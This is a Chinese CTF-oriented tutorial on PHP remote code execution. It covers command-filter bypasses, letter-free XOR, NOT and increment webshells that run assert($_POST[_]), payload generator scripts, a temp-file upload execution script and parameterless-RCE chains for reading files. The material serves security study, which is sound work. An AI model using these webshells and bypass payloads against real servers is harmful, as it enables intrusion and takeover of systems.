[TOC]

前言

最近准备把所学的漏洞全部仔细的整理一遍,一、是为了让自己对这些知识点有些全面系统的认识 二、是写题的时候可以直接翻博客不需要再去找那么多的文章,此外也希望对以后社团的学弟学妹有些帮助,这些文章的内容只有一部分为我自己写的,很多是搬运师傅的文章,因为很多师傅的文章写的已经十分完美,特别是p神,很多年前发表的东西现在仍不过时。我所做的主要是把文章整合在一起,对漏洞的考点有更加全面的认识!

什么是rce

什么是rce?

既远程代码/命令执行,能够让攻击者直接向后台服务器远程写入服务器系统命令或者代码,从而控制后台系统。

命令执行:直接执行我们输入的恶意命令

代码执行:直接执行我们所输入的恶意代码

漏洞成因

命令执行漏洞形成的原因是web服务器对用户输入的命令安全监测不足,导致恶意代码被执行。

定义:当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system,exec,shell_exec等,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击。

永远不要相信用户的输入!

漏洞危害

继承Web服务程序的权限去执行系统命令或读写文件
反弹shell
控制整个网站甚至控制服务器
进一步内网渗透

常见函数

命令执行

system()  输出并返回最后一行shell结果
exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面
shell_exec()  通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回
passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上(替换system)

代码执行

eval()函数:用来执行一个字符串表达式,并返回表达式的值
assert()函数:在php语言中是用来判断一个表达式是否成立,返回true or false,但是字符串参数会被执行

利用技巧

我们需要注意,当我们正常输入的时候,在大多数情况下是不会触发这一漏洞的,我们需要一些小tips。

常见技巧:

一、常见管道符:
‘|’ 直接执行后面的语句
‘||’ 如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
‘&’ 前面和后面命令都要执行,无论前面真假
&&如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
Linux:
Linux系统包含了windows系统上面四个之外,还多了一个 ‘;’ 这个作用和 ‘&’ 作用相同
二、空格绕过(空格被过滤):
<  --  重定向,如cat<flag.php
<>      --   重定向,如cat<>flag.php
%09  --  需要php环境,如cat%09flag.php
${IFS}  --  单纯cat$IFS2,IFS2被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名,如cat${IFS2}flag.php
$IFS$9  --  后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符串,如cat$IFS2$9flag.php
三、黑名单绕过
1、拼接
a=c;b=at;c=flag;$a$b $c
a=c;b=at;c=heb;d=ic;ab{c}{d}
2、base64编码
echo MTIzCg==|base64 -d 其将会打印123
echo "Y2F0IC9mbGFn"|base64-d|bash ==>cat /flag
echo "Y2F0IC9mbGFn"|base64 -d|sh ==>cat /flag
3、hex编码
echo "636174202f666c6167" | xxd -r -p|bash ==>cat /flag
4、单引号、双引号,反单引号绕过
ca''t flag 或ca""t flag
ca''t te""st.php
c``a``t /etc/passwd
5、反斜杠绕过
ca\t fl\ag
cat te\st.php
6、绕过ip中的句点
网络地址可以转换成数字地址,比如127.0.0.1可以转化为2130706433。
可以直接访问http://2130706433或者http://0x7F000001,这样就可以绕过.的ip过滤。
在线转换地址:数字转IP地址 IP地址转数字 域名转数字IP
7、利用oct编码(八进制)绕过
$(printf "\154\163")  //ls命令
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag
#可以通过这样来写webshell,内容为<?php @eval($_POST['c']);?>
${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php
在线转换网站:https://photo333.com/text-to-octal-zh.php
8、'/'被过滤绕过
可利用';'拼接命令绕过
cd ..;cd ..;cd ..;cd ..;cd etc;cat passwd (也可以利用第七步的八进制绕过)
9、通配符绕过
列如cat /passwd:
??? /e??/?a????
cat /e*/pa*
10、利用未初始化变量$u绕过
cat$u /etc/passwd
cat /etc$u/passwd
11、glob通配符
cat t[a-z]st
cat t{a,b,c,d,e,f}st
12、利用PATH绕过
可以通过截断和拼接来得到我们想要的来getshell
${PATH:5:1} //l
${PATH:2:1} //s
${PATH:5:1}${PATH:2:1} //拼接后是ls,执行命令
${PATH:5:1}s //拼接后是ls,执行命令
四、绕过长度限制
1,通过>来创建文件
>flag.txt
2,通过>将命令结果存入文件中
echo "hello hacker" > flag.txt
3,>>符号的作用是将字符串添加到文件内容末尾,不会覆盖原内容
echo "hello hacker" >> flag.txt
4、Linux中命令换行
在Linux中,当我们执行文件中的命令的时候,我们通过在没有写完的命令后面加\,可以将一条命令写在多行。
比如:cat flag
ca\
t\
 fla\
g.txt
将命令一条一条输入一个文本中再执行:
root@kali:~# echo "ca\\">cmd
root@kali:~# echo "t\\">>cmd
root@kali:~# echo " fl\\">>cmd
root@kali:~# echo "ag">>cmd
root@kali:~# cat cmd
ca\
t\
 fl\
ag
root@kali:~# sh cmd
this is your flag
五、各种读文件命令
cat--由第一行开始显示内容,并将所有内容输出
tac--从最后一行倒序显示内容,并将所有内容输出
more-- 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head-- 只显示头几行
tail --只显示最后几行
nl --类似于cat -n,显示时输出行号
tailf-- 类似于tail -f
vim --使用vim工具打开文本
vi --使用vi打开文本cat 由第一行开始显示内容,并将所有内容输出

上面介绍的这些方法可以解决大部分ctf题目,但是我们会经常遇到更加严苛的过滤,我们就要介绍接下来的一些题目类型和解决方法

无数字字母rce

源码

我们以一道经典的题目为例:

[极客大挑战 2019]RCE ME

题目代码:

<?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

// ?>

取反绕过

php7

脚本:

<?php
//在命令行中运行

/*author yu22x*/

fwrite(STDOUT,'[+]your function: ');

$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 

fwrite(STDOUT,'[+]your command: ');

$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 

echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

脚本使用的时候注意有些()不可以一起转进去,我们先来测试一下

image-20221121200544538

http://127.0.0.1/index.php?code=(~%8f%97%8f%96%91%99%90)(); //我们不需要参数只是测试,把后面的取反符号去掉即可

image-20221121191347692

我们现在来构造可以执行命令的字符串

http://480abdfe-af61-4f9a-bfdf-2e0227fda03b.node4.buuoj.cn:81/?code=(~%8c%86%8c%8b%9a%92)(~%93%8c); //system('ls')

按理说没问题的哦,我本地是可以的,不过在buu没有执行成功,不过问题不大,还有很多种方法

这题可以通过:

assert(eval($_POST[sakura]))

还是利用取反构造

(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%8C%9E%94%8A%8D%9E%A2%D6);

image-20221121200843416

这里尝试执行命令,同样没反应,那么这题应该是没有回显的,但是我们可以使用蚁剑去连接!

image-20221121194931677

这题到这里并没有结束,不过后面并不是我们需要关注的重点,我们就先忽略吧!

异或绕过

php7

由于buu的题目无回显,我们直接把源码搭建在本地进行测试:

给出两个脚本:

yihuo.php

<?php

/*author yu22x*/

$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
    for ($j=0; $j <256 ; $j++) { 

        if($i<16){
            $hex_i='0'.dechex($i);
        }
        else{
            $hex_i=dechex($i);
        }
        if($j<16){
            $hex_j='0'.dechex($j);
        }
        else{
            $hex_j=dechex($j);
        }
        $preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
                    echo "";
    }
  
        else{
        $a='%'.$hex_i;
        $b='%'.$hex_j;
        $c=(urldecode($a)^urldecode($b));
        if (ord($c)>=32&ord($c)<=126) {
            $contents=$contents.$c." ".$a." ".$b."\n";
        }
    }

}
}
fwrite($myfile,$contents);
fclose($myfile);

yihuo.py

# -*- coding: utf-8 -*-

# author yu22x

import requests
import urllib
from sys import *
import os
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("xor_rce.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"^\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
   print(param)

php运行后生成一个txt文档,包含所有可见字符的异或构造结果。
接着运行python脚本即可。
运行结果

image-20221121201209130

("%0b%08%0b%09%0e%06%0f"^"%7b%60%7b%60%60%60%60")();  //phpinfo()
("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%08%08%0f%01%0d%09"^"%7f%60%60%60%60%60"); //system(whoami)
("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08"^"%60%7b");  //system(ls)
("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%03%01%08%00%00%06%0c%01%07"^"%60%60%7c%20%2f%60%60%60%60"); //system(cat /flag)

image-20221121201250221

二进制或绕过

php7

原理是一样的,只需要在上面的脚本上稍加改动即可

or.php

<?php

/* author yu22x */

$myfile = fopen("or_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
    for ($j=0; $j <256 ; $j++) { 

        if($i<16){
            $hex_i='0'.dechex($i);
        }
        else{
            $hex_i=dechex($i);
        }
        if($j<16){
            $hex_j='0'.dechex($j);
        }
        else{
            $hex_j=dechex($j);
        }
        $preg = '/[0-9a-z]/i';//根据题目给的正则表达式修改即可
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
                    echo "";
    }
  
        else{
        $a='%'.$hex_i;
        $b='%'.$hex_j;
        $c=(urldecode($a)|urldecode($b));
        if (ord($c)>=32&ord($c)<=126) {
            $contents=$contents.$c." ".$a." ".$b."\n";
        }
    }

}
}
fwrite($myfile,$contents);
fclose($myfile);

or.py

# -*- coding: utf-8 -*-

# author yu22x

import requests
import urllib
from sys import *
import os
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("or_rce.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"|\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
   print(param)

image-20221121203834452

("%10%08%10%09%0e%06%0f"|"%60%60%60%60%60%60%60")();  //phpinfo()
("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%17%08%0f%01%0d%09"|"%60%60%60%60%60%60");  //system(whoami)
("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13"|"%60%60");   //system(ls)
("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%00%06%0c%01%07"|"%60%60%60%20%2f%60%60%60%60"); //cat /flag

image-20221121204056924

上传临时文件

.或者叫period,它的作用和source一样,就是用当前的shell执行一个文件中的命令。比如,当前运行的shell是bash,则. file的意思就是用bash执行file文件中的命令。

. file执行文件,是不需要file有x权限的。那么,如果目标服务器上有一个我们可控的文件,那不就可以利用.来执行它了吗?

这个文件也很好得到,我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。

第二个难题接踵而至,执行. /tmp/phpXXXXXX,也是有字母的。此时就可以用到Linux下的glob通配符:

  • *可以代替0个及以上任意字符
  • ?可以代表1个任意字符

那么,/tmp/phpXXXXXX就可以表示为/*/?????????/???/?????????

但我们尝试执行. /???/?????????,却得到如下错误:

image.png

这是因为,能够匹配上/???/?????????这个通配符的文件有很多,我们可以列出来:

image.png

可见,我们要执行的/tmp/phpcjggLC排在倒数第二位。然而,在执行第一个匹配上的文件(即/bin/run-parts)的时候就已经出现了错误,导致整个流程停止,根本不会执行到我们上传的文件。

思路又陷入了僵局,虽然方向没错。

深入理解glob通配符

大部分同学对于通配符,可能知道的都只有*?。但实际上,阅读Linux的文档( http://man7.org/linux/man-pages/man7/glob.7.html ),可以学到更多有趣的知识点。

其中,glob支持用[^x]的方法来构造“这个位置不是字符x”。那么,我们用这个姿势干掉/bin/run-parts

image.png

排除了第4个字符是-的文件,同样我们可以排除包含.的文件:

image.png

现在就剩最后三个文件了。但我们要执行的文件仍然排在最后,但我发现这三个文件名中都不包含特殊字符,那么这个方法似乎行不通了。

继续阅读glob的帮助,我发现另一个有趣的用法:

image.png

就跟正则表达式类似,glob支持利用[0-9]来表示一个范围。

我们再来看看之前列出可能干扰我们的文件:

image.png

所有文件名都是小写,只有PHP生成的临时文件包含大写字母。那么答案就呼之欲出了,我们只要找到一个可以表示“大写字母”的glob通配符,就能精准找到我们要执行的文件。

翻开ascii码表,可见大写字母位于@[之间:

image.png

那么,我们可以利用[@-[]来表示大写字母:

image.png

显然这一招是管用的。

当然,php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了。

最后,我传入的code为?><?=. /???/????????[@-[];?>,发送数据包如下:

image-20221121212607216

可写一个脚本:

#coding:utf-8
#author yu22x
import requests
url="http://xxx/test.php?code=?><?=`. /???/????????[@-[]`;?>"
files={'file':'cat f*'}
response=requests.post(url,files=files)
html = response.text
print(html)

构造无数字字母webshell

环境:php5

php5中assert是一个函数,我们可以通过$f='assert';$f(...);这样的方法来动态执行任意代码。

但php7中,assert不再是函数,变成了一个语言结构(类似eval),不能再作为函数名动态执行代码,所以利用起来稍微复杂一点。但也无需过于担心,比如我们利用file_put_contents函数,同样可以用来getshell。

下文为了方便起见,使用PHP5作为环境

异或webshell

这是最简单、最容易想到的方法。在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可。

得到如下的结果(因为其中存在很多不可打印字符,所以我用url编码表示了):

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

传入代码:

$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);

执行结果如下:

image-20221121214114436

取反webshell

用的是UTF-8编码的某个汉字,并将其中某个字符取出来,比如'和'{2}的结果是"\x8c",其取反即为字母s

image-20221121214447649

可构造出webshell

<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;

$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});

$_=$$_____;
$____($_[$__]);

直接传入:

$__=('>'>'<')+('>'>'<');$_=$__/$__;$____='';$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});$_=$$_____;$____($_[$__]);

使用时候进行下url编码

%24__%3d('%3e'%3e'%3c')%2b('%3e'%3e'%3c')%3b%24_%3d%24__%2f%24__%3b%24____%3d''%3b%24___%3d%22%e7%9e%b0%22%3b%24____.%3d~(%24___%7b%24_%7d)%3b%24___%3d%22%e5%92%8c%22%3b%24____.%3d~(%24___%7b%24__%7d)%3b%24___%3d%22%e5%92%8c%22%3b%24____.%3d~(%24___%7b%24__%7d)%3b%24___%3d%22%e7%9a%84%22%3b%24____.%3d~(%24___%7b%24_%7d)%3b%24___%3d%22%e5%8d%8a%22%3b%24____.%3d~(%24___%7b%24_%7d)%3b%24___%3d%22%e5%a7%8b%22%3b%24____.%3d~(%24___%7b%24__%7d)%3b%24_____%3d'_'%3b%24___%3d%22%e4%bf%af%22%3b%24_____.%3d~(%24___%7b%24__%7d)%3b%24___%3d%22%e7%9e%b0%22%3b%24_____.%3d~(%24___%7b%24__%7d)%3b%24___%3d%22%e6%ac%a1%22%3b%24_____.%3d~(%24___%7b%24_%7d)%3b%24___%3d%22%e7%ab%99%22%3b%24_____.%3d~(%24___%7b%24_%7d)%3b%24_%3d%24%24_____%3b%24____(%24_%5b%24__%5d)%3b

这个答案还利用了PHP的弱类型特性。因为要获取'和'{2},就必须有数字2。而PHP由于弱类型这个特性,true的值为1,故true+true==2,也就是('>'>'<')+('>'>'<')==2

image-20221121220150735

自增webshell

7.0.12以上版本不可使用

那么,如果不用位运算这个套路,能不能搞定这题呢?有何不可。

这就得借助PHP的一个小技巧,先看文档: http://php.net/manual/zh/language.operators.increment.php

14872693882387.jpg

也就是说,'a'++ => 'b''b'++ => 'c'… 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。

那么,如何拿到一个值为字符串’a’的变量呢?

巧了,数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。

在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array

14872697183159.jpg

再取这个字符串的第一个字母,就可以获得’A’了。

利用这个技巧,我编写了如下webshell(因为PHP函数是大小写不敏感的,所以我们最终执行的是ASSERT($_POST[_]),无需获取小写a):

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

可直接传入

//测试发现7.0.12以上版本不可使用
//使用时需要url编码下
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
固定格式 构造出来的 assert($_POST[_]);
url编码后再使用
%24_%3d%5b%5d%3b%24_%3d%40%22%24_%22%3b%24_%3d%24_%5b'!'%3d%3d'%40'%5d%3b%24___%3d%24_%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24____%3d'_'%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24_%3d%24%24____%3b%24___(%24_%5b_%5d)%3b
然后post传入   _=phpinfo();

image-20221121210330927

无参数rce

概念

无参数RCE,其实就是通过没有参数的函数达到命令执行的目的。
没有参数的函数什么意思?一般该类题目代码如下(或类似):

<?php
highlight_file(__FILE__);
error_reporting(0);
header("Content-Type: text/html; charset=utf-8");
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
    eval($_GET['code']);
}

先来解读下代码:

如果';'===preg_replace(...),那么就执行exp传递的命令
\ : 转义字符不多说了
[a-z,_]+ : [a-z,_]匹配小写字母和下划线 +表示1到多个
(?R)? : (?R)代表当前表达式,就是这个(/[a-z,_]+((?R)?)/),所以会一直递归,?表示递归当前表达式0次或1次(若是(?R)*则表示递归当前表达式0次或多次,例如它可以匹配a(b(c()d())))

简单说来就是:这串代码检查了我们通过GET方式传入的exp参数的值,如果传进去的值是传进去的值是字符串接一个(),那么字符串就会被替换为空。如果(递归)替换后的字符串只剩下;,那么我们传进去的 exp 就会被 eval 执行。比如我们传入一个 phpinfo();,它被替换后就只剩下;,那么根据判断条件就会执行phpinfo();。

(?R)?能匹配的只有a(); a(b()); a(b(c()));这种类型的。比如传入a(b(c()));,第一次匹配后,就剩a(b());,第二次匹配后,a();,第三次匹配后就只剩下;了,最后a(b(c()));就会被eval执行。

常用函数

先来整理下经常需要用到的函数吧,后面会说具体使用:

目录操作:
getchwd() //函数返回当前工作目录。
scandir() //函数返回指定目录中的文件和目录的数组。
dirname() //函数返回路径中的目录部分。
chdir() //函数改变当前的目录。

数组操作:
pos()     //current() 的别名
reset()  //将数组的内部指针指向第一个单元
end()     //将内部指针指向数组中的最后一个元素,并输出。
next() //函数将内部指针指向数组中的下一个元素,并输出。
prev()  //将数组内部指针倒回一位。
each()  //返回当前元素的键名和键值,并将内部指针向前移动
array_reverse()以相反的元素顺序返回数组。
array_rand() 函数返回数组中的随机键名(也就是下标),或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。
array_flip() array_flip() 函数用于反转/交换数组中所有的键名以及它们关联的键值。
array_slice() 函数在数组中根据条件取出一段值,并返回。
    
读取文件操作:
readfile() //输出一个文件。
readgzfile()
show_source()
highlight_file()   //打印输出或者返回 filename 文件中语法高亮版本的代码。
file_get_contents ()
    
其它函数:
localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是.
current() 返回数组中的当前单元, 默认取第一个值。
current(localeconv())永远都是个点
chr() 函数从指定的 ASCII 值返回字符。
hex2bin() — 转换十六进制字符串为二进制字符串。
getenv() 获取一个环境变量的值(在7.1之后可以不给予参数)。
localeconv() 函数返回一包含本地数字及货币格式信息的数组。
    

phpversion()返回php版本,如7.3.5
floor(phpversion())返回7
sqrt(floor(phpversion()))返回2.6457513110646
tan(floor(sqrt(floor(phpversion()))))返回-2.1850398632615
cosh(tan(floor(sqrt(floor(phpversion())))))返回4.5017381103491
sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))返回45.081318677156
ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))返回46
chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))返回.
var_dump(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))扫描当前目录
next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))返回..
//floor():舍去法取整,sqrt():平方根,tan():正切值,cosh():双曲余弦,sinh():双曲正弦,ceil():进一法取整
    
chr(ord(hebrevc(crypt(phpversion()))))`返回`.  //hebrevc(crypt(arg))可以随机生成一个hash值 第一个字符随机是 $(大概率) 或者 .(小概率) 然后通过ord chr只取第一个字符
//crypt():单向字符串散列,返回散列后的字符串或一个少于 13 字符的字符串,从而保证在失败时与盐值区分开来。
//hebrevc():将逻辑顺序希伯来文(logical-Hebrew)转换为视觉顺序希伯来文(visual-Hebrew),并且转换换行符,返回视觉顺序字符串。

dirname() & chdir()

这个方法并不可以rce,只是可以完成读取文件的操作,事实上在很多情况下已经够用了

想读文件,就必须进行目录遍历,没有参数,怎么进行目录遍历呢?
首先,我们可以利用getcwd()获取当前目录

var_dump(getcwd());

image-20221122174021764

那么怎么进行当前目录的目录遍历呢?
这里用scandir()即可

var_dump(scandir(getcwd()));

image-20221122174107093

如果getcwd()无法使用呢?

我们知道localeconv()返回一包含本地数字及货币格式信息的数组。而数组第一项就是.

我们可构造出:

var_dump(scandir(current(localeconv())));  //var_dump也可以用print_r代替
var_dump(scandir(pos(localeconv())));
var_dump(scandir(reset(localeconv())));
var_dump(scandir(chr(current(localtime(time()))))); //chr()函数以256为一个周期,所以chr(46),chr(302),chr(558)都等于"."所以使用chr(time()),一个周期必定出现一次"." 我爆破了1w次,雀氏有可行性哈哈,不过雀氏有点小离谱
var_dump(scandir(chr(ord(hebrevc(crypt(time())))))); //hebrevc(crypt(arg))可以随机生成一个hash值,第一个字符随机是$(大概率) 或者 "."(小概率) 然后通过chr(ord())只取第一个字符
var_dump(scandir(chr(ord(strrev(crypt(serialize(array())))))));  
if(chdir(chr(ord(strrev(crypt(serialize(array())))))))print_r(scandir(getcwd())); //设置当前工作路径为根目录,然后遍历此目录

image-20221122175828251

